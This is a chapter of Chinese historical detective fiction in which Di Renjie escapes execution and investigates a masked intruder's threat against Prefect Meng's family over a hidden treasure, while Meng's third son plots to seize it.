三人明知,离生命的终结只剩下两个多时辰了。 有一个禁子感到过意不去,跟其余的商量了一番,决定送三人吃一顿断头饭,遂提着木盒来到牢门口,送到牢里,说声:“你们最后吃一顿吧,好上路。” 狄仁杰忙道谢。 三人打开盒子,捧出了一碗热腾腾的馒头,一叠青菜,一小盘烧肉,一小壶酒,并几个小杯子,还有三双筷子。 洪辉道:“怎么盒子底下还有一块生肉?” 狄仁杰道:“传说人死后去到奈何桥,有狗挡道,这肉便是喂那狗吃的。” 三人饿得要死,都各自用馒头夹着肉菜吃了起来。 狄仁杰一面吃着,一面叹道:“这断头饭啊,渊源已久,始于春秋时期,楚庄王平乱之后,为显其仁德,便提出让犯人于临刑前饱食一顿。你们想,便是那穷凶极恶之徒,于临死时,又何尝不是可悲的?只因人死了以后,便什么都没了。所以这最后的一顿饭啊,纵然它再丰盛,也只是最后一顿了。若是这一顿饭唤起了他一生当中美好的记忆,而吃完以后等待他的却是死亡,那他岂不是更为痛苦?可是对于另外一些人来说,或许临终前吃的这一顿饭,便是他这一生当中唯一留下来的一丝美好。所以我觉得,人们所畏惧的或许并非是死亡本身,而是人们对于世间仍然有所留恋,不愿就此离去。所谓人之将死,其言也善。许多人也只有在临死时,才会回过头来自省。我想不论何时,都为时未晚。只要人心存善念,天也必佑之。我倒是想起了胡乐曾经说过的一句话:‘死也要做他个饱死鬼!’哈哈哈!不料,一语成谶哪。” 二人见狄仁杰都这时候了还笑得出来,一面吃着,便哽咽了,眼泪夺眶而出。 狄仁杰安慰道:“你们不要哭,也不要害怕。死并不可怕,乃是新生的开始。” 说着,在三个小杯里斟满了酒。 三人一齐捧起杯来,泪眼互望,一饮而尽。 不久,三人便被套上了囚服,用绳子捆了,押赴刑场。 日头当空,正是午牌时分。 大街上挤满了围观群众,用各色的神情看着热闹。 一时,来至行刑之处,竟是大街十字路口,仅一夜之间,便多出来了一个台子。 狄仁杰三人见旁边椅子上坐着一人,摇着扇子,用得意的神情看着他们,便是金六。 洪辉、狄宁用狠狠的眼神盯了他一眼,跟着狄仁杰一齐上了台子。 三人跪了下来,头伏在木砧上。 又过了一时,听得一声:“午时三刻已到!斩!” 三名刽子手便同时举起了那一把明晃晃的钢刀,对准了三人的头颈,就要砍下去。 却说围观的里面有一群人,便是前日在大街上,说着狄仁杰与通缉令的买卖没了很可惜的那一群人。 他们也正看着热闹,有一个先是认出了洪辉来,说道:“喂,你们瞧,右边儿那小子不是前日里那个小青年?” 其余的道:“就说看着面熟呢,可不是他!他前日里不还好好的,今儿咋就要被砍头了呢?对了,听说昨儿街上闹得厉害,有三个叫花子得罪了金六爷,估计就他们仨了。” 突然有一个指着中间那人大惊道:“喂!喂喂!你们瞧中间那个老的,我看不太清楚,像不像那谁啊?” 其余的仔细一看,都大吃一惊,不约而同喊出了一句:“是狄仁杰!” 这话一出,围观众人都听见了,也都去看了看中间那人,也都大吃一惊,都道:“之前通缉令上的朝廷头号通缉犯,狄仁杰!是他!是他!就是他!” 刽子手那刀正要砍下去,忽听得一个苍老的声音叫道:“且慢!刀下留人!” 刽子手立马停住了,只因那叫停的正是今日的行刑官刘茗。 原来这刘茗乃孟知府的贴身管家,只因此次狄仁杰三人是得罪了金六,而金六关连到金世宝,金世宝又关连到了孟知府自己,事关重大,孟知府便派了老管家刘茗去现场监督行刑。 那金六见不行刑了,连忙跳起来叫道:“老刘!咋地呀?” 刘茗忙道:“六爷先甭急,待老奴先问问再说。” 遂走到台上,弯着腰问狄仁杰:“你是不是,狄仁杰?” 狄仁杰微微一抬头,道:“是我。” 刘茗“哦”的一惊,又问:“你是不是那个宰相狄仁杰?哦,就是后来还做过通缉犯的那个。” 狄仁杰道:“是我。” 刘茗再问:“你是不是那个断案如神的那个狄仁杰?” 狄仁杰道:“断案如神不敢当。狄仁杰的话,正是鄙人。” 刘茗大喜,道:“哎哟哟!找到喽!天底下竟会有这么巧的事儿!” 金六惊道:“怎……怎么啦?” 刘茗道:“六爷,这位是狄仁杰啊!” 金六大惊道:“你……你说什么?!他……他就是狄仁杰?!不对,不对!骗人!” 刘茗道:“我看着也确实像!” 金六忙道:“对对对!像得很!” 刘茗道:“太像了!” 金六忙道:“真的是太像了!” 刘茗道:“实在是太像了!” 金六忙道:“实在是像极了!没法儿更像了!不就是嘛!” 刘茗点头道:“是啊!就是狄仁杰嘛!” 金六“啊”的一声,倒在了椅子上。 刘茗道:“不好意思咯,六爷。孟老爷这些天做梦都在想着这位呢,可不能给斩喽!” 金六登时六神无主,只指着众人大叫:“骗人,骗人,骗人!你们都是串通一气的,要害我金六!这不是真的!他不是狄仁杰!他不可能是狄仁杰!他怎么可能是狄仁杰?他绝对不是狄仁杰!” 刘茗命人扶起狄仁杰三人,给他们松绑,脱去了囚服。 金六指着刘茗大叫:“刘老儿!我看你他妈的敢!” 刘茗转过来看着他道:“六爷,老奴打小服侍孟老爷四十多年,连孟老爷都从未对老奴这么大呼小叫过,六爷想说什么?” 金六倒不敢得罪了他,只唉声叹气道:“罢了,罢了!既是孟叔要人……嗐!随你怎么办去吧!我……我们走!”被手下扶着气愤愤地去了。 刘茗忙向狄仁杰赔礼道:“哎哟,原来是狄老先生,多有得罪啊!” 狄仁杰忙还礼道:“不敢。” 刘茗道:“老奴今儿是奉了孟老爷的命过来监督行刑的,不料竟在此邂逅了老先生。”向众人叫道:“好了,好了!都散了,散了啊!” 众人见没热闹可看了,遂皆散去了。 狄仁杰三人随着老管家刘茗行了半日,来至东南街一个豪华大宅前,只见兽头大门上有一金匾,大书“孟府”二字。 刘茗命那些跟着的护卫退去了,向狄仁杰三人说声:“你们跟我来。” 却不走正门,领着三人进了西角门,穿过了一个夹道,来至后堂。 只见墙上挂着许多名人的书画,书架上堆满了书籍,桌案上文房四宝俱全,台子上又有各色盆景,还摆了一堆古董器玩,皆是极珍贵之物。 刘茗请他们客位坐了,自己殷勤地给他们倒了茶水,还送来了几盘糕点。 狄仁杰道:“刘先生不必忙……” 刘茗忙道:“哎哟!不敢,不敢!狄先生太客气咯,这‘先生’二字实在是当不起啊!” 狄仁杰道:“刘先生言过了,狄某适才若非得蒙先生救命,如今早已是刀下之鬼了。” 刘茗忙道:“哎哟!快别这么说!孟老爷要是早知道是先生……” 狄仁杰不待说完,便忙道:“不过是一场误会而已,再也正常不过,过去的事就不必再提了。” 刘茗心里倒不禁佩服了起来,说道:“你们先待一会儿,我去禀告一下孟老爷。” 狄仁杰起身让道:“请便。” 这刘茗来至孟知府的屋子里,见丫鬟仆婢们正忙着端茶倒水,那孟知府合着眼躺在榻上。 刘茗使了个眼神,诸人便退下了。走近前轻轻地叫了声:“老爷。” 孟知府睁开眼来,见是刘茗,缓缓道:“事办得如何?” 刘茗道:“老爷问的是什么事儿?” 孟知府道:“还能有什么事……那三个闹事的,解决了?” 刘茗道:“回老爷,没呢。” 孟知府咳了两声,道:“你搞什么呀!” 刘茗笑道:“老爷,有一件更大的事儿,倒是替你解决了。” 孟知府道:“还能有什么事,比‘那事’更大的……” 刘茗笑道:“老爷,那件最大的事儿啊,老奴已替你办好喽!” 孟知府忙的坐起身来,惊讶地看着他道:“你说什么?你说那事……办好啦?” 刘茗道:“千真万确!” 孟知府呆了呆,叹了口气,苦笑道:“老东西,你也会哄我了。” 刘茗忙道:“哎哟,老爷,没有的事儿啊!老奴怎敢哄你呢!” 孟知府道:“狄仁杰……” 刘茗道:“没错儿!狄仁杰!就是狄仁杰!老奴找到喽!” 孟知府大惊道:“你说什么?!找到啦?才三天你就找到啦?我可不信!这天下如此之大,你还能找得到他?” 刘茗道:“老奴要是骗你,天打雷劈!如今就在后堂那儿候着呢。” 孟知府知道刘茗虽不是出家人,却也从不打诳语,喜得眉欢眼笑,忙问:“到底是怎么找到的?哪里找到的?” 刘茗摇头道:“老爷,说来你还不信呢,那位狄大人还有他的两位随从……便是今儿差一些被斩首的那三位。” 孟知府听了,惊得半晌说不出话来。 刘茗道:“那位狄大人还真是‘宰相肚里能撑船’,并不曾有一句怨言。” 孟知府拍着自己脑袋,自怨自艾道:“唉呀,我糊涂啊!贵人就在眼前,我竟失之交臂!如今我还有什么脸面去见他呢?唉呀!” 刘茗道:“那位都不在乎,老爷又何必耿耿于怀呢?” 孟知府忙道:“快,快!扶我起来!”连忙梳洗了,穿好衣裳,便跟着刘茗来至后堂。 狄仁杰三人见刘茗领进了一个身穿便装的人,都站了起来。 狄宁在旁悄悄地告诉狄仁杰:“他就是孟知府。” 狄仁杰忙作揖,狄宁只是点了个头,洪辉却是脖子一歪,正眼也不看。 不料这孟知府二话不说便双膝跪下道:“下官胡州知府孟延,参见狄大人!”一面磕头。 把狄仁杰三人倒唬了一跳。 狄仁杰忙将他扶起,看着他道:“知府大人何故如此?” 孟知府流泪道:“下官罪该万死了!哪里知道狄大人竟然就在胡州城,而且就在眼前!都是我误听了小人之言,险些害了先生!要是先生真有个什么三长两短,那岂不是因我之过?到那时……” 狄仁杰忙打断道:“这都是一场误会,狄某岂有怪罪之理?” 孟知府道:“先生真的不怪我?” 洪辉乜斜着眼道:“狄先生说的话,还有不算的?” 孟知府忙道:“是,是!狄大人如此宽宏大量,不计前嫌,真令下官辈惭愧不已!” 洪辉哼了一声,心道:“装!” 狄仁杰忙道:“小辉,不得无礼。” 孟知府又忙向洪辉、狄宁二人道歉:“二位,在下实在是对不住,请你们原谅!” 洪辉摆手道:“罢了,罢了。你还是去管管你那位‘贤侄’要紧!” 孟知府忙应道:“是,是。” 狄仁杰道:“狄某如今虽不再是通缉犯,却也没有明确的官职在身,因此也不敢命令你什么,只是劝你注意点你的账房总管,还有那个金六。狄某才来胡州两日,见那金六在外已是闹得天翻地覆,使民不得安生。” 孟知府道:“没想到这孩子这么不听话,我一定要去好好管教管教他。”又道:“这一切皆是金六之过,应该与世宝没干……” 洪辉道:“放屁!‘世宝’,‘世宝’,叫得好亲切啊!不是那金世宝纵容他作恶,他敢这么嚣张?你这人怎么都不开窍啊?” 狄仁杰道:“算了,我想知府大人心里自有决断,我们也只是略微提醒一下而已。” 孟知府若有所思,微微点了点头。 刘茗请四人都坐下说,与他们上茶。 孟知府见狄仁杰三人真如乞丐一般,穿着褴褛,且身上的气味也不好闻。若非亲眼所见,实难相信那位当朝宰相又断案如神的狄仁杰,竟会是这般模样。 听狄仁杰问道:“知府大人何以要见狄某?” 孟知府道:“这可以慢慢再说,如今先请先生还有两位随从去洗濯一番,再换一件好一点的衣裳。” 狄仁杰三人相顾一笑,跟着刘茗去了。 来至一间房中,早有三个大木桶盛满了热水。 刘茗道:“老奴适才便叫人预备好了,衣裳也都挂这儿了,三位请沐浴吧。”说着退出去了。 三人遂各自沐浴。 一时洗罢,见那挂着的衣裳华丽非常。 狄仁杰道:“太过显眼了些……不过此时身处孟府,也就罢了。临走时,叫他们再给我们换一件朴素点的就好。” 三人遂穿上了。 洪辉道:“穿在身上滑溜溜的,到底不如我们那件布衣穿得舒服。” 出了门,早见刘茗迎了来,道:“厨房里的饭菜已经备下了,请三位来大厅里用膳。” 狄仁杰三人随着刘茗来至饭厅,只见大桌上摆满了菜肴,围坐着孟知府,还有两个没见过的年轻人。一见了狄仁杰三人,孟知府与另外一个年轻人便站了起来。 孟知府指着站起来的那个青年介绍道:“这是我大儿子孟贤,今年有二十五了。” 那孟贤眉清目秀,自有一股书香气息,笑着向狄仁杰作揖道:“不料今日竟能与遐迩闻名的狄先生相会,实乃三生有幸。” 狄仁杰还礼道:“公子多礼,狄某徒有虚名耳。” 孟知府又指着那坐着的青年道:“先生见笑,这是我二儿子孟迁,今年二十三了。” 那孟迁双手捧着饭碗,脸贴在上面吃,抬起头来,呵呵傻笑了一下,又继续吃。 狄仁杰也还了个礼。 孟贤道:“先生休怪,我二弟小时候曾摔过一跤,之后便有些神志不清了。”又问:“三弟呢?三弟怎么没来?今日可是有贵客到此,他也忒无礼了!” 孟知府叹道:“我这老三啊,放荡惯了,不受管教,我也拿他无法。”又指着孟贤道:“我这大儿子倒好,从不让我操心。” 孟贤躬身道:“孩儿也只是尽本分而已,父亲过誉了。” 刘茗请诸人坐。狄仁杰三人谢了座,与孟家父子一齐坐下了。 一面吃着,问起了洪辉、狄宁,二人遂各自道了姓名。 孟知府又问:“先生堂堂宰相,何以沦落至此?” 狄仁杰不愿泄露出来查案之事,只道:“一言难尽。” 孟知府也就不再多问了。 一时饭毕,这孟知府请狄仁杰三人来至自己屋子里,刘茗等人皆退下了。 这孟知府一脸忧心忡忡,请狄仁杰三人坐。 狄仁杰在对面的椅子上坐下了,洪辉、狄宁二人只站在他身旁。 这孟知府也缓缓地坐在了床沿上。 狄仁杰这时又问:“不知知府大人何以要见狄某?” 孟知府道:“都到了这个时候了,我也就不绕弯子了。久闻狄先生断案如神,这件事恐怕除了先生以外,再无人能为我分忧。” 狄仁杰道:“敢问是何事?” 孟知府道:“听先生说,来胡州已有两日了?” 狄仁杰道:“正是。” 孟知府道:“我要说的这件事,就发生在三日前,算上今日,已是第四日了。”又问:“不知先生须用多少时间方能破案?” 狄仁杰道:“不知狄某有多少时间?” 孟知府伸出一个手指来,道:“只有一天。” 狄仁杰仍是泰然自若地问道:“倘若一天之内破不了案,将会如何?” 孟知府叹了口气道:“那孟某一家老小的性命就不保了。” 狄仁杰道:“这么严重!” 孟知府道:“说来还多半日,期限是在明日子时三刻之前。” 狄仁杰道:“狄某并无十全把握,可也必定尽力而为。如今你可将事件之经过说与我知。” 孟知府遂款款道来:“三日前的夜里,子时三刻左右,我正躺在这张床上睡着。 突然间,一阵风从窗户吹了进来,听得一声响,把我给吵醒了。 我睡得迷迷糊糊的,睁开眼来一看,隐约见到了面前站着一个黑影。 我大吃了一惊,就要叫出声来,却被那人给捂住了口。 我直吓得一身冷汗,浑身颤抖,听那人威胁我:‘你要是敢出声,我立时便杀了你灭口!’ 我只是点头,见那人蒙着面,也看不到他长什么样。 他把手挪开了,问我:‘你就是胡州知府孟延?’ 我点头说:‘是我。’问他:‘你是什么人?’ 他冷笑了一声,说:‘不该你问的,你就别问。你没有必要知道我是谁。’ 我又问他:‘那你要做什么?’ 他说:‘你父亲是不是叫孟建?’ 我吃了一惊,问他:‘你怎么知道?’ 他说:‘你也不要问我是怎么知道的,只回答我是与不是。’ 我答:‘是。’ 他又问:‘你父亲如今在哪?’ 我说:‘家父十三年前就失踪了。’ 他问我怎么失踪的。 我说:‘当时他老人家说,是要去一个地方做买卖。’ 他问:‘他要去什么地方做买卖?’ 我说:‘我也不知道。’ 他说:‘是不是去扬州?’ 我更是吃惊:‘你如何连这都知道!你到底是谁啊?’ 他说:‘你要是再敢说一句假话,我现在就杀了你!’ 我忙说:‘不敢了。’ 他问:‘你父亲他有没有说,他是去跟谁做买卖?’ 我摇头说:‘这个真的没有。’ 他说:‘你可不要骗我!’ 我说:‘我真没有骗你!当年他老人家说,要去扬州做买卖,至于做什么买卖,跟谁做,都没有说。至今这么多年了,他老人家仍是未回,因此我才说他是失踪了。’ 他听了,半晌说道:‘我现在可以告诉你,我跟你父亲在扬州是旧相识,我知道你父亲死去的真相。’ 我大吃一惊:‘什么?我父亲他……他死了!’ 他点头说:‘他十三年前就已经死了。’ 我问:‘这到底是怎么一回事?’ 他说:‘有一件事只要你办好了,我自会将一切告诉你。’ 我问:‘什么事?’ 他说:‘你父亲临终前,曾与我说,你们孟家有一笔巨大的财富。你有没有听说过?’ 我想了想,说:‘我们孟家在胡州一带也算是富裕非常了,不知说的是什么财富?’ 他说:‘不是一般的财富,乃是价值连城的财富。’ 我摇头说:‘父亲并未提及有这样一笔财富。’ 他问我:‘你知不知道这笔财富在什么地方?’ 我说:‘我连听都没听说过,怎么会知道在哪呢?’ 他说:‘你父亲说了,就在你们孟家这座宅子里。’ 我更是惊得目瞪口呆:‘这座宅子自我祖父以来,都快百年了,怎么会有这么一笔财富呢?我都不知道,我父亲他又是怎么知道的?’ 他说:‘你父亲也是从你祖父那里听来的。’ 我说:‘我可从未听我父亲说过。’ 他冷笑说:‘你真的不知道?’ 我说:‘我绝对不知道!’ 他最后说了一句:‘不管你知不知道,限你五天之内将这笔财富给我找出来,同一时间我来取。如果五天后你还交不出来,你全家老小一个也别想活!’ 我还待要再问,那人却早已纵身出了窗户,无影无踪了。 如今已是第四天了,明天夜里期限就到了,可是这凭空冒出来的什么财富,我还是没有丝毫头绪。”说罢,长叹一声,又求狄仁杰救他一家老小性命。 狄仁杰听了,沉思片刻,开口说道:“好,我们先来缕一缕思路。你适才的这一番话,其中最重要的两个人,莫过于这个蒙面人,还有就是令尊。这个蒙面人究竟是什么身份,如今还不得而知。我们现已知晓的是:他与令尊是相识,而相识点是在扬州。只是不知,令尊是在十三年前去扬州做买卖了时候认识他的,还是早在之前便已相识。二人又因什么缘由相识?是因那十三年前的买卖呢,还是另有别情?这别情姑且不论,只说十三年前这个扬州的买卖,它又是什么呢?令尊之故,与这个买卖是否存在着关联呢?若无也罢了,若是有,那么是什么买卖使得令尊去世的呢?这个蒙面人确是知情,可他又是如何知情的?如此说来,他与令尊所做的这个买卖是脱不了干系。 “假设这个蒙面人当晚所言非虚,说明你孟家确有这么一笔财富,且这笔财富与十三年前的买卖绝无关联,因为令尊既然未回,而这笔财富,照令尊所言,早已在你宅中,说明这笔财富并非是新得来的。因此那蒙面人才说,令尊也是从令祖父那里听说的,这句话乃是合情合理。令尊临终前又为何要将这笔财富的秘密告诉这蒙面人呢?是与这蒙面人有很好的交情,还是别有缘由?若是交情好,这蒙面人又怎会前来威胁你,要杀你全家呢?是他见财起意、利欲熏心吗?还是他忘恩负义呢?令尊又为何宁愿去告诉一个外人,也不来告诉你呢?是因为没有机会了吗?还是说有不得已的苦衷呢?令尊真如那蒙面人所言,十三年前便已去世了吗?若是这般,他又何故要等到如今才来索要这笔财富呢?为何当初不来要?是时机不成熟吗?还是另有图谋呢? “令尊既已告诉了他这笔财富就在你家宅中,他又何必让你寻出来与他呢?他既身手如此了得,可以自如地进出你家,他难道没有本事自己来找吗?这么看来,他也并不知它的确切位置。令尊既将财富就在宅子里的话都告诉了他,令尊也必知他会前来索要。也就是说,令尊打从起初便打算将这笔财富交与这蒙面人。除非你父亲本人也不知这笔财富于宅中的确切位置,否则他又岂有不提前告诉之理呢?他既告诉了蒙面人,蒙面人又必定前来找寻你,那么你父亲必是提前告诉了你。可是你又说,你父亲并未向你提及有关这一笔财富之事。这说明,你父亲早就将寻到这笔财富的线索留了下来,而且是与财富一样,都留在了这座宅子里。既然找到财富的线索是为了能够找到财富而预备的,那么财富比之线索准是更为难寻才是。否则的话,线索又有什么意义呢?线索既失去了其身为线索之意义,那么线索也就不成其为线索了。因此我们要找到财富,就得先找到这个线索。” 这话说完,狄宁因跟着狄仁杰久了,只是点点头,也没怎样,却把个洪辉、孟知府听得愣愣的。 这孟知府眨了眨眼,道:“我……我……我……”直说了有七八个我,又道:“没听懂。” 洪辉尬笑,搔了搔后脑勺,道:“我也没听懂。” 狄仁杰忙道:“没听懂正常。”又看着孟知府道:“狄某心里已经有了个大概,知府大人也不必太过忧虑。即使解决不了问题,狄某也不会临阵脱逃的,定要尽全力保护你还有你家人的安全。还请宽怀。” 孟知府忙谢了。 狄仁杰问道:“不知令尊当时在家时,平日主要待在何处?” 孟知府道:“家父平日都住在东厢房,那里既是他的书房,也是他的卧房。” 狄仁杰“哦”的一声,还待要问,忽听得门口处发出声响,屋里四人都是一惊。 洪辉冲过来开了门,见廊道上一人正往反方向疾奔,背影甚是熟悉,便忙追了过去,却在拐角处跟丢了,又回到了屋里来,摇了摇头。 孟知府惊道:“方才是不是有人在门外偷听?” 狄仁杰道:“看来事情没这么简单。” 孟知府按照狄仁杰的要求,领着三人来至他父亲平日住的东厢房。 日久年深,屋子里处处铺满了灰尘,几人都不住地咳了几声。 正好一个小厮路过,孟知府问他:“刘茗哪去了?” 小厮答道:“回老爷的话,小的刚刚见刘管家在大少爷房里呢。” 孟知府命小厮去再叫几个人来,将东厢房打扫打扫。 小厮答应着去了。 孟知府叹道:“自从家父走了以后,这屋子就再没人住了。”想到父亲竟已离世,不由得滴下泪来。 狄仁杰安慰了一番,只见小厮请了几个仆人前来打扫。 狄仁杰三人遂跟着孟知府先出去了。 一时打扫毕,狄仁杰三人进来一看,果真焕然一新。 孟知府道:“几位今夜是否就住这,还是……” 狄仁杰四周看了看,点头道:“就住这吧。”向孟知府作揖道:“狄某定当尽力。” 孟知府也作揖道:“有劳先生了。”又道:“过一会儿吃晚饭,会有人来请。” 刚要走,只听得说话声:“三爷,你不是怕见到老爷嘛,怎么今儿从这儿走啊?” “哼,怕个屁!那老狗会来这儿?” 只见那三少爷孟廉走了来,旁边一个小厮跟着,一见到孟知府竟然也在,倒吃了一惊。 那小厮忙垂手叫了声:“老爷。” 那孟廉只乜斜着眼一瞥,一脸嫌弃,跟小厮说:“走走走……” 孟知府指着孟廉骂道:“你个王八羔子哪里走!你刚才骂谁是老狗呢?啊?” 孟廉哼了一声,仰着头不理睬。 孟知府大怒,冲过来就一巴掌打在脸上。 孟廉大叫:“你打呀!打!”把个孟知府推了一跤。 狄仁杰三人忙去扶起孟知府,听他颤骂道:“王八羔子,还敢打你爹!你……你赶紧地给我滚!我见了你我就心烦……” 孟廉道:“你心烦?我见了你我还恶心呢!”说着,拔脚便跑,进了南院一间小屋子里,将门一摔。 里面一个中年妇人正呆望着窗外,听到声响,唬了一跳,站起身来道:“你个小猴崽子,又发什么羊癫了。” 孟廉坐在床沿上,冷笑道:“还不是你那野男人!” 妇人在他额上戳了一指头,咬着牙颤骂道:“你……你怎么能说出这么不要脸的话来!你骂他是野男人,不是在骂你娘我是娼妇嘛!”这妇人便是孟廉的生母迟氏姨娘。 孟廉眯着小眼,盯了迟姨娘半晌。 迟姨娘道:“你看着我干吗。” 孟廉道:“娘,我问你,你如今到底还爱不爱这姓孟的?” 迟姨娘一听,脸不禁红了,嗫嚅道:“这……娘……娘早就……早就不爱他了!可是……我……我一想到他……我……” 孟廉道:“你不爱他了是对的!这姓孟的从来就没有爱过你,你却浪费了你的一生去爱他,值吗?” 迟姨娘低下了头不语。 孟廉握住迟姨娘的手,激动地道:“娘,等今儿夜里的事儿成了,我就带着你远走高飞,再也不回这个家了!” 迟姨娘道:“你说什么?什么事成不成的?” 孟廉小声道:“你忘啦?我前儿跟你说的,咱家的那一笔财富啊。” 迟姨娘道:“你不是说连你爹都不知道那笔财富在哪吗?” 孟廉嗤的一声,道:“这话儿你也信?这财富既是我孟家的,我爹他会不知道?他只是怕惹祸上身,才信口胡诌的!” 迟姨娘道:“那你想怎样?” 孟廉道:“我那晚听了,不像是假的。如果明儿夜里,那人真来了,那财富要么被他给抢去,要么咱一家子都得死。我想好了,不如先下手为强,今儿夜里就动起手来,把那笔财富拿到了手以后,咱就走得远远的。至于这家子是死是活,关咱屁事儿!” 迟姨娘胆小,听了这话,“啊”的一声,叫道:“你要做什么呀!” 孟廉瞪大了小眼,忙将手指放在嘴唇上,“嘘”了一声,道:“你说话儿别那么大声儿行吗?这事儿可别让人听见了……” 迟姨娘道:“你又不知道财富在哪,你怎么拿到手啊?” 孟廉道:“所以才要去逼问那个死老头!” 忽听得门口处发出声响,屋里母子二人都是一惊。 孟廉忙过去开了门,四顾无人,又关上了。 迟姨娘惊道:“是不是有人在外面偷听啊?” 孟廉摆手道:“没有,没有!你别疑神疑鬼……” 迟姨娘摇头道:“你别骗娘了,明明就有人听见了,我看你还是别乱来了。” 孟廉道:“现在反悔已经来不及了。” 迟姨娘道:“为什么?” 孟廉道:“我跟金六都已经商量好了,今晚我只须偷偷地打开西角门,到时……”将计划与迟姨娘说知。 迟姨娘听了,更是惊叫了起来。 孟廉忙捂住了她嘴道:“姑奶奶,你可别坏了大事儿啊!” 迟姨娘摇头道:“你疯了,你疯了呀!你爹再怎么样,可他也是你爹呀!” 孟廉道:“泼出去的水,收不回来!啥子都甭说了。” 迟姨娘道:“娘现在就跟你走,咱们不要那什么财富了,好不好啊?” 孟廉摔手道:“不行!这是那姓孟的欠我的!我们家的财产,凭什么我拿不到?” 迟姨娘叹道:“都是娘对不住你……” 孟廉含泪道:“娘,这怎么能怪你呢?都是那姓孟的负心,是他对不起你呀!” 迟姨娘想起了往事,缓缓道:“娘如今想来,当初真不该与大娘子去争。大娘子待娘很好,我当初为什么会妒嫉她呢?如今她去了这么些年了,我才觉得,一个人在这深宅大院之中,很孤独……” 孟廉叹了口气,道:“说到底还是怪那姓孟的。他既爱不了那么多女人,干吗又去讨小老婆呢?” 迟姨娘缓缓摇头道:“不怪孟郎,怪娘。” 孟廉“嘿”了一声,道:“你到现在还叫他‘孟郎’?你有没有病啊你!” 迟姨娘流下泪来,道:“他虽然不爱我,可是我……我还是……” 孟廉道:“你这是妇人之仁!你……得了,我不跟你说了,横竖事儿一成,我便拿着财宝过来接你,你做好准备吧。”又回过头来道:“记住,今晚不管怎样闹腾,都是正常的,你千万别出来,要等着我。”说着自去。 迟姨娘只是叹气,独自待在屋子里哭。 却说狄仁杰三人在东厢房中,正处处翻阅着书架上的书本。 洪辉不识字,只是见什么可疑,便拿来与狄仁杰看。 这间屋子里的书真是浩如烟海,目不暇接,半日才翻看了一部分。 狄仁杰道:“这么找下去也不是办法。” 洪辉问道:“先生是要找什么书啊?” 狄仁杰道:“如今还不好说。我有一个问题,适才忘了问。” 狄宁道:“老爷请说。” 狄仁杰道:“你去问问孟知府,他父亲平日可有什么喜好,或是爱看什么书。” 狄宁去了,一时来回道:“孟知府说了,他父亲对诗感兴趣,而且自己还常常去写一两首。” 三人遂将屋子里的诗集尽数找了出来,堆放在桌案上。随手一翻,什么曹子建、陶渊明、谢灵运等诗人皆有。狄仁杰见其中一本书封面上只写着“诗集”二字,却不知乃何人所作,遂翻了翻,见其中纸张颇旧。 狄仁杰觉得蹊跷:这本书中所作之诗并非上乘,却何以与诸多名家并列? 于是更为细致的察看了一番,发现作诗的时间竟然就在十几年前。又在诸多诗本中翻了翻,皆是有名有姓的,唯手中这本并未署名。 狄仁杰道:“孟知府的父亲所作之诗,应该就在这本中。” 洪辉、狄宁都来看。见这本书越到后面,时间便越晚,遂将书翻到了最后一页,乃是一首七言绝句,题为“繁华梦”,旁边有一小行字写着时间“光宅元年九月”。 狄仁杰还未看诗的内容,只寻思这时间,算了算,正好是十三年前。 洪辉、狄宁还不明就里,只见狄仁杰大惊失色,手中的本子落在了桌上合了起来。 这时一人站在门口说道:“请三位来大厅里用晚饭。” 抬头一看,正是刘茗。 狄仁杰忙将这诗本塞进了桌上其余的诗本当中,与洪辉二人一齐出来,掩上了门,跟着来至大厅。只见桌上依然摆着丰盛的肴馔,围坐着孟知府还有大少爷孟贤、二少爷孟迁。见狄仁杰三人来了,孟知府与大少爷一齐站了起来,请三人坐。狄仁杰三人谢了座,与孟家父子一同坐下了。 诸人饭碗皆还未动,那孟迁却已经快吃完了,满脸沾着菜汁,粘着饭粒。 洪辉二人见了,均想:“这二少爷果真是个傻子。” 见那孟贤拿出手帕子来,很体贴地为孟迁擦脸,一面劝道:“二弟,你慢点吃,没人跟你抢。” 狄仁杰三人看了,都很感动。 孟知府忙道:“三位,不用客气,随便吃吧。”说着动箸,狄仁杰三人遂也吃了起来。 一时吃罢,孟知府悄悄地问狄仁杰案件可有进展,狄仁杰答说今晚便有回报。 此时已是戌牌时分,天色暗淡,孟府上下都陆续点上了灯。 狄仁杰三人回到了东厢房,方至门口,只见屋内亮堂堂的。 一个小厮走了出来,道:“小的奉老爷的命,给三位把灯都给点上了。” 狄仁杰道了谢,见那小厮自去了。 三人遂进了屋子,将门掩上。 狄仁杰在桌上翻来复去,不见了那本未署名的诗本,皱眉道:“不见了。” 狄宁问道:“什么不见了?” 狄仁杰道:“那本诗集……” 狄宁登时明白了,道:“是孟知府父亲写的那本!” 洪辉道:“刚才进来点灯的那个小厮鬼鬼祟祟的,是不是他?” 狄仁杰道:“我适才一进来,就发现了桌案上的诗本有被挪移过的迹象,没想到真的被人给盗走了。” 洪辉道:“为什么有人要盗走那诗本呢?” 狄仁杰道:“看来这座宅子里,还有人知道这笔财富的秘密。他是怕我们先得到了线索,寻着了财富。可他到底是谁呢?” 洪辉道:“先生,既然这个案子是孟知府交给我们办的,那我们就把宅子里有嫌疑的都叫出来审问一遍,不就……” 狄仁杰摆手,道:“如此行,必定打草惊蛇。” 洪辉急道:“那怎么办?” 狄仁杰道:“不用担心,他们一定会露出马脚来的。” 洪辉道:“只怕明天夜里之前破不了案。” 狄仁杰道:“盗走诗本之人,肯定也已知道了这个蒙面人之事。他们在明天夜里之前,一定会行动起来。我们只须静观其变,见机行事。”叹了口气,又道:“只可惜我只顾着想别的事了,倒没去看那诗的内容。” 狄宁道:“小的倒是读了那诗。” 狄仁杰道:“你可还记得?” 狄宁想了想,道:“只记得有什么‘侯爵将相’,还有……‘达官显贵’……好像还有一句‘空楼’什么的……小的记不得了。” 狄仁杰道:“这几句跟题目倒是对得上。然只这四句诗,便是少了一句,恐怕也是难以明白了。”说了声:“走,我们去见孟知府。” 三人遂来至孟知府的屋子里。 狄仁杰将如何找到了财富的线索,也就是那个诗本,之后又被人于吃饭之际盗去的话与孟知府说了。 孟知府惊道:“这可如何是好?” 狄仁杰又将自己的一些想法说知。 孟知府叹道:“也只好这样了。” 又说了几句,三人便回房去了。 当晚子时三刻左右,孟家大院的寂静突然被一叠声的喧嚷打破。 狄仁杰三人方打了个盹,便听得外面大叫有贼。 三人忙出来问:“出什么事了?” 一个小厮慌慌张张道:“从后堂闯进了好多拿刀的强盗!” 狄仁杰忙问是朝什么方向去了,小厮朝北院指了指。 狄仁杰惊道:“不好!”连忙与洪辉、狄宁朝孟知府的屋子奔去。 只见火光之中,一群蒙面人持刀乱砍,家人受伤无数,小院内已经乱成了一团。 